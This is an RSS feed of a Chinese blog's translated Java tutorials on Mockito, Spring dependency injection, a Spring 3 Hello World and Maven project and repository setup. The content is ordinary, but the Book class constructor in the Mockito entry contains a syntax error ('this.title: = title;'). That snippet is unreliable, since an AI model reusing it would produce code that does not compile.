<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>翻译 on bystander&#39;s blog</title>
    <link>http://blog.leaver.me/tags/%E7%BF%BB%E8%AF%91/</link>
    <description>Recent content in 翻译 on bystander&#39;s blog</description>
    <generator>Hugo</generator>
    <language>zh-CN</language>
    <lastBuildDate>Sat, 01 Mar 2014 10:57:33 +0000</lastBuildDate>
    <atom:link href="http://blog.leaver.me/tags/%E7%BF%BB%E8%AF%91/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>[译]使用Mockito简单mock入门</title>
      <link>http://blog.leaver.me/2014/03/01/%E8%AF%91%E4%BD%BF%E7%94%A8mockito%E7%AE%80%E5%8D%95mock%E5%85%A5%E9%97%A8/</link>
      <pubDate>Sat, 01 Mar 2014 10:57:33 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/03/01/%E8%AF%91%E4%BD%BF%E7%94%A8mockito%E7%AE%80%E5%8D%95mock%E5%85%A5%E9%97%A8/</guid>
      <description>&lt;p&gt;我们在写单元测试的时候，面临的一个挑战就是要测试的内容总是依赖于其他组件，要是我们还得先配置好其他组件，未免有点不如意，那么我们可以使用Mocks来代替那些依赖的组件&lt;/p&gt;
&lt;p&gt;本文问了展示这个过程，我会创建一个DAL，数据访问层，这是一个类，提供了一个通用的api来访问和修改数据仓库的数据，然后，我们要测试这个api，而不用配置连接某个本地的数据库，，或者一个远程的数据库，或者是一个文件系统，反正就是任何放数据的东西，DAL层的好处就是隔离开了数据访问和应用程序代码&lt;/p&gt;
&lt;p&gt;首先使用maven来创建一个工程&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn archetype:generate -DgroupId=info.sanaulla -DartifactId=MockitoDemo -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false&lt;/pre&gt;
&lt;p&gt;执行之后，本地生成MockitoDemo 文件夹，然后整个工程的目录结构与生成好了。&lt;/p&gt;
&lt;p&gt;然后，我们写这样一个model类，表示book类型&lt;/p&gt;
&lt;pre class=&#34;lang:java decode:true&#34;&gt;package info.sanaulla.models;

import java.util.List;

/**
* Model class for the book details.
*/
public class Book {

  private String isbn;
  private String title;
  private List&amp;lt;String&amp;gt; authors;
  private String publication;
  private Integer yearOfPublication;
  private Integer numberOfPages;
  private String image;

  public Book(String isbn,
              String title,
              List&amp;lt;String&amp;gt; authors,
              String publication,
              Integer yearOfPublication,
              Integer numberOfPages,
              String image){

    this.isbn = isbn;
    this.title: = title;
    this.authors = authors;
    this.publication = publication;
    this.yearOfPublication = yearOfPublication;
    this.numberOfPages = numberOfPages;
    this.image = image;

  }

  public String getIsbn() {
    return isbn;
  }

  public String getTitle() {
    return title;
  }

  public List&amp;lt;String&amp;gt; getAuthors() {
    return authors;
  }

  public String getPublication() {
    return publication;
  }

  public Integer getYearOfPublication() {
    return yearOfPublication;
  }

  public Integer getNumberOfPages() {
    return numberOfPages;
  }

  public String getImage() {
    return image;
  }
}&lt;/pre&gt;
&lt;p&gt;然后，我们访问Book model的DAL类会如下&lt;/p&gt;
&lt;pre class=&#34;lang:java decode:true&#34;&gt;package info.sanaulla.dal;

import info.sanaulla.models.Book;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;

/**
* API layer for persisting and retrieving the Book objects.
*/
public class BookDAL {

  private static BookDAL bookDAL = new BookDAL();

  public List&amp;lt;Book&amp;gt; getAllBooks(){
      return Collections.EMPTY_LIST;
  }

  public Book getBook(String isbn){
      return null;
  }

  public String addBook(Book book){
      return book.getIsbn();
  }

  public String updateBook(Book book){
      return book.getIsbn();
  }

  public static BookDAL getInstance(){
      return bookDAL;
  }
}&lt;/pre&gt;
&lt;p&gt;DAL层现在还没啥功能，我们要通过TDD来测试，实际中，DAL可能和ORM来交互，也可能和数据库API交互，但是我们设计DAL的时候，不用关心&lt;/p&gt;</description>
    </item>
    <item>
      <title>Spring依赖注入</title>
      <link>http://blog.leaver.me/2013/09/20/spring%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5/</link>
      <pubDate>Fri, 20 Sep 2013 19:06:00 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/20/spring%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5/</guid>
      <description>&lt;p&gt;在Spring框架中，依赖注入设计模式主要用来定义对象之间的依赖，存在两种主要类型&lt;/p&gt;
&lt;p&gt;1)setter注入(设置器)&lt;/p&gt;
&lt;p&gt;2)constructor注入(构造器)&lt;/p&gt;
&lt;h2 id=&#34;1setter注入&#34;&gt;1.Setter注入&lt;/h2&gt;
&lt;p&gt;是最流行最简单的DI方法，通过一个setter方法来完成依赖。&lt;/p&gt;
&lt;p&gt;例子：&lt;/p&gt;
&lt;p&gt;一个有一个setter方法的Helper类&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.output;

import com.mkyong.output.IOutputGenerator;

public class OutputHelper
{
	IOutputGenerator outputGenerator;

	public void setOutputGenerator(IOutputGenerator outputGenerator){
		this.outputGenerator = outputGenerator;
	}

}&lt;/pre&gt;
&lt;p&gt;再写一个bean配合iwenjianshengming这些bean，并且通过property(属性)标签来设置依赖&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34;
xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-2.5.xsd&#34;&amp;gt;

	&amp;lt;bean id=&#34;OutputHelper&#34; class=&#34;com.mkyong.output.OutputHelper&#34;&amp;gt;
		&amp;lt;property name=&#34;outputGenerator&#34;&amp;gt;
			&amp;lt;ref bean=&#34;CsvOutputGenerator&#34; /&amp;gt;
		&amp;lt;/property&amp;gt;
	&amp;lt;/bean&amp;gt;

&amp;lt;bean id=&#34;CsvOutputGenerator&#34; class=&#34;com.mkyong.output.impl.CsvOutputGenerator&#34; /&amp;gt;
&amp;lt;bean id=&#34;JsonOutputGenerator&#34; class=&#34;com.mkyong.output.impl.JsonOutputGenerator&#34; /&amp;gt;

&amp;lt;/beans&amp;gt;&lt;/pre&gt;
&lt;p&gt;看到了把。我们只需要一个setter方法把CsvOutputGenerator注入进去就行了&lt;/p&gt;
&lt;h2 id=&#34;2constructor注入&#34;&gt;2.Constructor注入&lt;/h2&gt;
&lt;p&gt;这种方式是通过一个构造函数来完成依赖设置的&lt;/p&gt;
&lt;p&gt;例子：&lt;/p&gt;
&lt;p&gt;一个有着一个构造函数的Helper类&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.output;

import com.mkyong.output.IOutputGenerator;

public class OutputHelper
{
	IOutputGenerator outputGenerator;

        OutputHelper(IOutputGenerator outputGenerator){
		this.outputGenerator = outputGenerator;
	}
}&lt;/pre&gt;
&lt;p&gt;然后当然是一个bean配置文件了。通过constructor-arg标签来写依赖&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34;
xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-2.5.xsd&#34;&amp;gt;

	&amp;lt;bean id=&#34;OutputHelper&#34; class=&#34;com.mkyong.output.OutputHelper&#34;&amp;gt;
		&amp;lt;constructor-arg&amp;gt;
                     &amp;lt;ref bean=&#34;JsonOutputGenerator&#34; /&amp;gt;
                 &amp;lt;/constructor-arg&amp;gt; 
       &amp;lt;/bean&amp;gt; 
       &amp;lt;bean id=&#34;CsvOutputGenerator&#34; class=&#34;com.mkyong.output.impl.CsvOutputGenerator&#34; /&amp;gt; 
       &amp;lt;bean id=&#34;JsonOutputGenerator&#34; class=&#34;com.mkyong.output.impl.JsonOutputGenerator&#34; /&amp;gt; 
&amp;lt;/beans&amp;gt;&lt;/pre&gt;
&lt;h2 id=&#34;该选哪个&#34;&gt;该选哪个？&lt;/h2&gt;
&lt;p&gt;没有硬性规定，哪个合适就用那个，由于setter的简单性，一般还是setter用得多。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Spring松耦合示例</title>
      <link>http://blog.leaver.me/2013/09/20/spring%E6%9D%BE%E8%80%A6%E5%90%88%E7%A4%BA%E4%BE%8B/</link>
      <pubDate>Fri, 20 Sep 2013 15:50:46 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/20/spring%E6%9D%BE%E8%80%A6%E5%90%88%E7%A4%BA%E4%BE%8B/</guid>
      <description>&lt;p&gt;面向对象设计的理念是把整个系统分成一组可重用的组件，然而，当系统变得越大的时候，尤其是在java中，这最大的对象依赖将会紧紧耦合，以至于非常难以管理和修改，而现在，你可以使用Spring框架扮演一个中间模块的角色，方便高效地管理其他组件依赖&lt;/p&gt;
&lt;h2 id=&#34;输出生成的例子&#34;&gt;输出生成的例子&lt;/h2&gt;
&lt;p&gt;看个例子，假设你的项目有一个方法可以输出内容到csv或者json格式，你可能写出这样的代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;IOutputGenerator.java 输出生成器接口&#34;&gt;package com.mkyong.output;

public interface IOutputGenerator
{
	public void generateOutput();
}&lt;/pre&gt;
&lt;p&gt;，然后是实现接口的类&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;CsvOutputGenerator.java csv生成类&#34;&gt;package com.mkyong.output.impl;

import com.mkyong.output.IOutputGenerator;

public class CsvOutputGenerator implements IOutputGenerator
{
	public void generateOutput(){
		System.out.println(&#34;Csv Output Generator&#34;);
	}
}&lt;/pre&gt;
&lt;p&gt;再写个Json生成的类&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;JsonOutputGenerator.java json生成类&#34;&gt;package com.mkyong.output.impl;

import com.mkyong.output.IOutputGenerator;

public class JsonOutputGenerator implements IOutputGenerator
{
	public void generateOutput(){
		System.out.println(&#34;Json Output Generator&#34;);
	}
}&lt;/pre&gt;
&lt;p&gt;有好几种方法来调用IOutputGenerator接口，以及我们如何使用Spring来避免对象的过度耦合。&lt;/p&gt;
&lt;h2 id=&#34;方法1-直接调用&#34;&gt;方法1-直接调用&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.common;

import com.mkyong.output.IOutputGenerator;
import com.mkyong.output.impl.CsvOutputGenerator;

public class App 
{
    public static void main( String[] args )
    {
    	IOutputGenerator output = new CsvOutputGenerator();
    	output.generateOutput();
    }
}&lt;/pre&gt;
&lt;p&gt;问题：&lt;/p&gt;
&lt;p&gt;这种方法，output这个对象和CsvOutputGenerator耦合在了一起，每次要改变输出格式的话都要修改代码，如果这类代码遍布项目，那么改起来就跪了&lt;/p&gt;
&lt;h2 id=&#34;方法2-通过帮助类调用&#34;&gt;方法2-通过帮助类调用&lt;/h2&gt;
&lt;p&gt;也许你会想创建一个Helper类吧所有的output实现都移进去&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.output;

import com.mkyong.output.IOutputGenerator;
import com.mkyong.output.impl.CsvOutputGenerator;

public class OutputHelper
{
	IOutputGenerator outputGenerator;

	public OutputHelper(){
		outputGenerator = new CsvOutputGenerator();
	}

	public void generateOutput(){
		outputGenerator.generateOutput();
	}

}&lt;/pre&gt;
&lt;p&gt;然后可以这样调用&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.common;

import com.mkyong.output.OutputHelper;

public class App 
{
    public static void main( String[] args )
    {
    	OutputHelper output = new OutputHelper();
    	output.generateOutput(); 
    }
}&lt;/pre&gt;
&lt;p&gt;问题：&lt;/p&gt;
&lt;p&gt;看起来似乎更加优雅了，你仅仅需要管理这个Helper类就可以实现不同格式的输出需求改变了，然而，Helper还是和CvsOutputGenerator耦合，每一次要改变输出格式的时候，都要对Helper类做一下微调。&lt;/p&gt;
&lt;h2 id=&#34;方法3-spring&#34;&gt;方法3-Spring&lt;/h2&gt;
&lt;p&gt;Spring依赖注入很合适，可以使不同的格式生成类分离开来&lt;/p&gt;</description>
    </item>
    <item>
      <title>Spring3实例入门-Hello World</title>
      <link>http://blog.leaver.me/2013/09/20/spring3%E5%AE%9E%E4%BE%8B%E5%85%A5%E9%97%A8-hello-world/</link>
      <pubDate>Fri, 20 Sep 2013 13:14:39 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/20/spring3%E5%AE%9E%E4%BE%8B%E5%85%A5%E9%97%A8-hello-world/</guid>
      <description>&lt;p&gt;每次看到hello world,都有一种说不出的赶脚，想起了一个程序员，退休后写毛笔字，取笔研磨铺纸，大笔一挥，写下了“hello world”。&lt;/p&gt;
&lt;h2 id=&#34;1使用maven生成项目结构&#34;&gt;1.使用Maven生成项目结构&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;mvn archetype:generate -DgroupId=com.mkyong.core -DartifactId=Spring3Example 
	-DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false&lt;/pre&gt;
&lt;h2 id=&#34;2转换成eclipse项目&#34;&gt; 2.转换成Eclipse项目&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;mvn eclipse:eclipse&lt;/pre&gt;
&lt;h2 id=&#34;3添加spring30-依赖&#34;&gt; 3.添加Spring3.0 依赖&lt;/h2&gt;
&lt;p&gt;在pom.xml文件里添加Spring 3.0 依赖，然后依赖会从Maven中央仓库自动下载&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;pom.xml&#34;&gt;&amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; 
	xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
	xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 
	http://maven.apache.org/maven-v4_0_0.xsd&#34;&amp;gt;
	&amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt;
	&amp;lt;groupId&amp;gt;com.mkyong.core&amp;lt;/groupId&amp;gt;
	&amp;lt;artifactId&amp;gt;Spring3Example&amp;lt;/artifactId&amp;gt;
	&amp;lt;packaging&amp;gt;jar&amp;lt;/packaging&amp;gt;
	&amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt;
	&amp;lt;name&amp;gt;Spring3Example&amp;lt;/name&amp;gt;
	&amp;lt;url&amp;gt;http://maven.apache.org&amp;lt;/url&amp;gt;

	&amp;lt;properties&amp;gt;
		&amp;lt;spring.version&amp;gt;3.0.5.RELEASE&amp;lt;/spring.version&amp;gt;
	&amp;lt;/properties&amp;gt;

	&amp;lt;dependencies&amp;gt;

		&amp;lt;!-- Spring 3 dependencies --&amp;gt;
		&amp;lt;dependency&amp;gt;
			&amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt;
			&amp;lt;artifactId&amp;gt;spring-core&amp;lt;/artifactId&amp;gt;
			&amp;lt;version&amp;gt;${spring.version}&amp;lt;/version&amp;gt;
		&amp;lt;/dependency&amp;gt;

		&amp;lt;dependency&amp;gt;
			&amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt;
			&amp;lt;artifactId&amp;gt;spring-context&amp;lt;/artifactId&amp;gt;
			&amp;lt;version&amp;gt;${spring.version}&amp;lt;/version&amp;gt;
		&amp;lt;/dependency&amp;gt;

	&amp;lt;/dependencies&amp;gt;
&amp;lt;/project&amp;gt;&lt;/pre&gt;
&lt;h2 id=&#34;4spring-bean&#34;&gt; 4.Spring bean&lt;/h2&gt;
&lt;p&gt;写个简单的bean&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;HelloWorld&#34;&gt;package com.mkyong.core;

/**
 * Spring bean
 * 
 */
public class HelloWorld {
	private String name;

	public void setName(String name) {
		this.name = name;
	}

	public void printHello() {
		System.out.println(&#34;Spring 3 : Hello ! &#34; + name);
	}
}&lt;/pre&gt;
&lt;h2 id=&#34;5spring-bean配置文件&#34;&gt; 5.Spring bean配置文件&lt;/h2&gt;
&lt;p&gt;创建一个配置文件，在里面声明所有可用的Spring beans&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;SpringBeans.xml&#34;&gt;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34;
	xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
	xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans
	http://www.springframework.org/schema/beans/spring-beans-3.0.xsd&#34;&amp;gt;

	&amp;lt;bean id=&#34;helloBean&#34; class=&#34;com.mkyong.core.HelloWorld&#34;&amp;gt;
		&amp;lt;property name=&#34;name&#34; value=&#34;Mkyong&#34; /&amp;gt;
	&amp;lt;/bean&amp;gt;

&amp;lt;/beans&amp;gt;&lt;/pre&gt;
&lt;h2 id=&#34;6最终的目录结构&#34;&gt; 6.最终的目录结构&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/Spring3-hello-world-example.png&#34;&gt;&lt;img alt=&#34;Spring3-hello-world-example&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/bbe4d8f74c9337766eb4a368bb71c6c0d09a248b.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;7运行&#34;&gt;7.运行&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;App.java&#34;&gt;package com.mkyong.core;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class App {
	public static void main(String[] args) {
		ApplicationContext context = new ClassPathXmlApplicationContext(
				&#34;SpringBeans.xml&#34;);

		HelloWorld obj = (HelloWorld) context.getBean(&#34;helloBean&#34;);
		obj.printHello();
	}
}&lt;/pre&gt;
&lt;h2 id=&#34;8输出&#34;&gt; 8.输出&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Spring 3 : Hello ! Mkyong&lt;/pre&gt;
&lt;h2 id=&#34;9demo下载&#34;&gt; 9.Demo下载&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=2464458395&amp;amp;uk=1493685990&#34;&gt;Spring3-hello-world-example.zip &lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>使用Maven创建Web项目</title>
      <link>http://blog.leaver.me/2013/09/20/%E4%BD%BF%E7%94%A8maven%E5%88%9B%E5%BB%BAweb%E9%A1%B9%E7%9B%AE/</link>
      <pubDate>Fri, 20 Sep 2013 08:44:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/20/%E4%BD%BF%E7%94%A8maven%E5%88%9B%E5%BB%BAweb%E9%A1%B9%E7%9B%AE/</guid>
      <description>&lt;p&gt;本文通过Maven完成一个简单的Web项目（注意，Spring配置不是重点，看看就行）&lt;/p&gt;
&lt;h2 id=&#34;1从maven模板创建web应用程序&#34;&gt;1.从Maven模板创建Web应用程序&lt;/h2&gt;
&lt;p&gt;命令格式如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn archetype:generate -DgroupId={project-packaging} -DartifactId={project-name} -DarchetypeArtifactId=maven-archetype-webapp -DinteractiveMode=false&lt;/pre&gt;
&lt;p&gt;这就告诉Maven从**maven-archetype-webapp **这个模板来创建&lt;/p&gt;
&lt;p&gt;友情提示：是不是太难记了..好吧，直接输入&lt;/p&gt;
&lt;pre&gt;mvn archetype:generate&lt;/pre&gt;
&lt;p&gt;根据向导来创建把。。&lt;/p&gt;
&lt;p&gt;比如我这样写：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;gt; mvn archetype:generate -DgroupId=com.mkyong -DartifactId=CounterWebApp -DarchetypeArtifactId=maven-archetype-webapp -DinteractiveMode=false
[INFO] Scanning for projects...
[INFO]                                                                         
[INFO] ------------------------------------------------------------------------
[INFO] Building Maven Stub Project (No POM) 1
[INFO] ------------------------------------------------------------------------
[INFO] 
[INFO] Generating project in Batch mode
[INFO] ----------------------------------------------------------------------------
[INFO] Using following parameters for creating project from Old (1.x) Archetype: maven-archetype-webapp:1.0
[INFO] ----------------------------------------------------------------------------
[INFO] Parameter: groupId, Value: com.mkyong
[INFO] Parameter: packageName, Value: com.mkyong
[INFO] Parameter: package, Value: com.mkyong
[INFO] Parameter: artifactId, Value: CounterWebApp
[INFO] Parameter: basedir, Value: /Users/mkyong/Documents/workspace
[INFO] Parameter: version, Value: 1.0-SNAPSHOT
[INFO] project created from Old (1.x) Archetype in dir: /Users/mkyong/Documents/workspace/CounterWebApp
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 3.147s
[INFO] Finished at: Thu Dec 20 20:35:19 MYT 2012
[INFO] Final Memory: 12M/128M
[INFO] ------------------------------------------------------------------------&lt;/pre&gt;
&lt;p&gt;就创建了一个包名为com.mkyong,类名为CounterWebApp的项目了&lt;/p&gt;
&lt;h2 id=&#34;2maven的web程序目录结构&#34;&gt;2.Maven的Web程序目录结构&lt;/h2&gt;
&lt;p&gt;标准的web.xml部署描述文件生成了&lt;/p&gt;
&lt;pre&gt;CounterWebApp
   |-src
   |---main
   |-----resources
   |-----webapp
   |-------index.jsp
   |-------WEB-INF
   |---------web.xml
   |-pom.xml&lt;/pre&gt;
&lt;p&gt;对结构有疑问的去&lt;a href=&#34;http://maven.apache.org/guides/introduction/introduction-to-the-standard-directory-layout.html&#34;&gt;这里&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Maven库依赖机制及添加自定义库</title>
      <link>http://blog.leaver.me/2013/09/19/maven%E5%BA%93%E4%BE%9D%E8%B5%96%E6%9C%BA%E5%88%B6%E5%8F%8A%E6%B7%BB%E5%8A%A0%E8%87%AA%E5%AE%9A%E4%B9%89%E5%BA%93/</link>
      <pubDate>Thu, 19 Sep 2013 22:49:42 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/19/maven%E5%BA%93%E4%BE%9D%E8%B5%96%E6%9C%BA%E5%88%B6%E5%8F%8A%E6%B7%BB%E5%8A%A0%E8%87%AA%E5%AE%9A%E4%B9%89%E5%BA%93/</guid>
      <description>&lt;h1 id=&#34;一maven库依赖机制&#34;&gt;一.Maven库依赖机制&lt;/h1&gt;
&lt;p&gt;Maven的库依赖机制可以帮助我们自动下载依赖的库文件，并且还能更新版本。。&lt;/p&gt;
&lt;p&gt;考虑一个情境来理解机制的工作原理，假设我们要使用Log4J库作为项目的日志记录。以下是我们要做的&lt;/p&gt;
&lt;h2 id=&#34;1传统的方式&#34;&gt;1.传统的方式&lt;/h2&gt;
&lt;p&gt;1）访问Log4J网站&lt;a href=&#34;http://logging.apache.org/log4j/2.x/&#34;&gt;http://logging.apache.org/log4j/2.x/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2）下载Log4J的jar包&lt;/p&gt;
&lt;p&gt;3）复制进项目的classpath里&lt;/p&gt;
&lt;p&gt;4）手工包含到项目的依赖里&lt;/p&gt;
&lt;p&gt;看到没，你要从头做到尾，如果Log4J更新了，你得再来一遍。。&lt;/p&gt;
&lt;h2 id=&#34;2maven的方式&#34;&gt;2.Maven的方式&lt;/h2&gt;
&lt;p&gt;1）需要知道Log4J的Maven坐标(coordinates,这个暂时没想到好名字)，就是这样的东西&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;groupId&amp;gt;log4j&amp;lt;/groupId&amp;gt;
	&amp;lt;artifactId&amp;gt;log4j&amp;lt;/artifactId&amp;gt;
	&amp;lt;version&amp;gt;1.2.14&amp;lt;/version&amp;gt;&lt;/pre&gt;
&lt;p&gt;然后Maven就会自动下载1.2.14版本的Log4J了。如果version这个元素没有，那么如果有了新版本，Maven会自动下载新版本的。&lt;/p&gt;
&lt;p&gt;2）在pom.xml里声明这个Maven坐标&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;dependencies&amp;gt;
    &amp;lt;dependency&amp;gt;
	&amp;lt;groupId&amp;gt;log4j&amp;lt;/groupId&amp;gt;
	&amp;lt;artifactId&amp;gt;log4j&amp;lt;/artifactId&amp;gt;
	&amp;lt;version&amp;gt;1.2.14&amp;lt;/version&amp;gt;
    &amp;lt;/dependency&amp;gt;
&amp;lt;/dependencies&amp;gt;&lt;/pre&gt;
&lt;p&gt;3）当Maven编译或者build的时候，Log4J会自动下载，放入本地仓库里&lt;/p&gt;
&lt;p&gt;4）Maven全部接管&lt;/p&gt;
&lt;h2 id=&#34;3解释&#34;&gt;3.解释&lt;/h2&gt;
&lt;p&gt;搜索顺序前面说过了。本地-》中央-》远程仓库&lt;/p&gt;
&lt;p&gt;Maven坐标咋来的，当然去&lt;a href=&#34;http://search.maven.org/&#34;&gt;中央仓库搜索&lt;/a&gt;之了，搜索结果清晰的令人发指&lt;/p&gt;
&lt;h1 id=&#34;二添加自定义库到本地仓库&#34;&gt;二.添加自定义库到本地仓库&lt;/h1&gt;
&lt;p&gt;有两个情况，需要我们包含自定义的库到本地仓库里&lt;/p&gt;
&lt;p&gt;1是你想使用的jar文件不再中央仓库&lt;/p&gt;
&lt;p&gt;2是你创建了一个自定义的jar包，需要另一个项目使用这个jar&lt;/p&gt;
&lt;p&gt;比如，&lt;a href=&#34;http://code.google.com/p/kaptcha/&#34;&gt;kaptche&lt;/a&gt;，一个第三方的java库，生成验证码，现在中央仓库没有了。&lt;/p&gt;
&lt;p&gt;我们想要加到本地仓库里&lt;/p&gt;
&lt;h2 id=&#34;1mvn安装&#34;&gt;1.mvn安装&lt;/h2&gt;
&lt;p&gt;下载&lt;a href=&#34;http://code.google.com/p/kaptcha/&#34;&gt;kaptche&lt;/a&gt;，解压并且拷贝kaptcha-version.jar到其他任何你喜欢的地方，比如c盘，然后输入如下格式的命令&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn install:install-file -Dfile=c:\kaptcha-{version}.jar -DgroupId=com.google.code 
-DartifactId=kaptcha -Dversion={version} -Dpackaging=jar&lt;/pre&gt;
&lt;p&gt;这里我这样输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;D:\&amp;gt;mvn install:install-file -Dfile=c:\kaptcha-2.3.jar -DgroupId=com.google.code 
-DartifactId=kaptcha -Dversion=2.3 -Dpackaging=jar
[INFO] Scanning for projects...
[INFO] Searching repository for plugin with prefix: &#39;install&#39;.
[INFO] ------------------------------------------------------------------------
[INFO] Building Maven Default Project
[INFO]    task-segment: [install:install-file] (aggregator-style)
[INFO] ------------------------------------------------------------------------
[INFO] [install:install-file]
[INFO] Installing c:\kaptcha-2.3.jar to 
D:\maven_repo\com\google\code\kaptcha\2.3\kaptcha-2.3.jar
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESSFUL
[INFO] ------------------------------------------------------------------------
[INFO] Total time: &amp;lt; 1 second
[INFO] Finished at: Tue May 12 13:41:42 SGT 2009
[INFO] Final Memory: 3M/6M
[INFO] ------------------------------------------------------------------------&lt;/pre&gt;
&lt;p&gt;这样完成了。kaptcha已经存在本地库了&lt;/p&gt;
&lt;h2 id=&#34;2pomxml配置一下&#34;&gt;2.pom.xml配置一下&lt;/h2&gt;
&lt;pre&gt;&amp;lt;dependency&amp;gt;
      &amp;lt;groupId&amp;gt;com.google.code&amp;lt;/groupId&amp;gt;
      &amp;lt;artifactId&amp;gt;kaptcha&amp;lt;/artifactId&amp;gt;
      &amp;lt;version&amp;gt;2.3&amp;lt;/version&amp;gt;
 &amp;lt;/dependency&amp;gt;&lt;/pre&gt;
&lt;p&gt;这个前面说过了，Maven坐标嘛&lt;/p&gt;</description>
    </item>
    <item>
      <title>Maven仓库详解</title>
      <link>http://blog.leaver.me/2013/09/19/maven%E4%BB%93%E5%BA%93%E8%AF%A6%E8%A7%A3/</link>
      <pubDate>Thu, 19 Sep 2013 22:05:10 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/19/maven%E4%BB%93%E5%BA%93%E8%AF%A6%E8%A7%A3/</guid>
      <description>&lt;p&gt;本文由我翻译合并了多篇文章，整理成一篇。&lt;/p&gt;
&lt;h1 id=&#34;一本地仓库local-repository&#34;&gt;一.本地仓库(Local Repository)&lt;/h1&gt;
&lt;p&gt;本地仓库就是一个本机的目录，这个目录被用来存储我们项目的所有依赖（插件的jar包还有一些其他的文件），简单的说，当你build一个Maven项目的时候，所有的依赖文件都会放在本地仓库里，仓库供所有项目都可以使用&lt;/p&gt;
&lt;p&gt;默认情况下，本地仓库在.m2目录，windows下的话就是你的用户名目录下的.m2目录&lt;/p&gt;
&lt;h2 id=&#34;1更新本地仓库目录&#34;&gt;1.更新本地仓库目录&lt;/h2&gt;
&lt;p&gt;找到你的MAVEN_HOME目录下的conf/setting.xml文件，更新localRepository节点&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;maven_home/conf/setting.xml&#34;&gt;&amp;lt;settings&amp;gt;
  &amp;lt;!-- localRepository
   | The path to the local repository maven will use to store artifacts.
   |
   | Default: ~/.m2/repository
  &amp;lt;localRepository&amp;gt;/path/to/local/repo&amp;lt;/localRepository&amp;gt;
  --&amp;gt;

&amp;lt;localRepository&amp;gt;D:/maven/repo&amp;lt;/localRepository&amp;gt;&lt;/pre&gt;
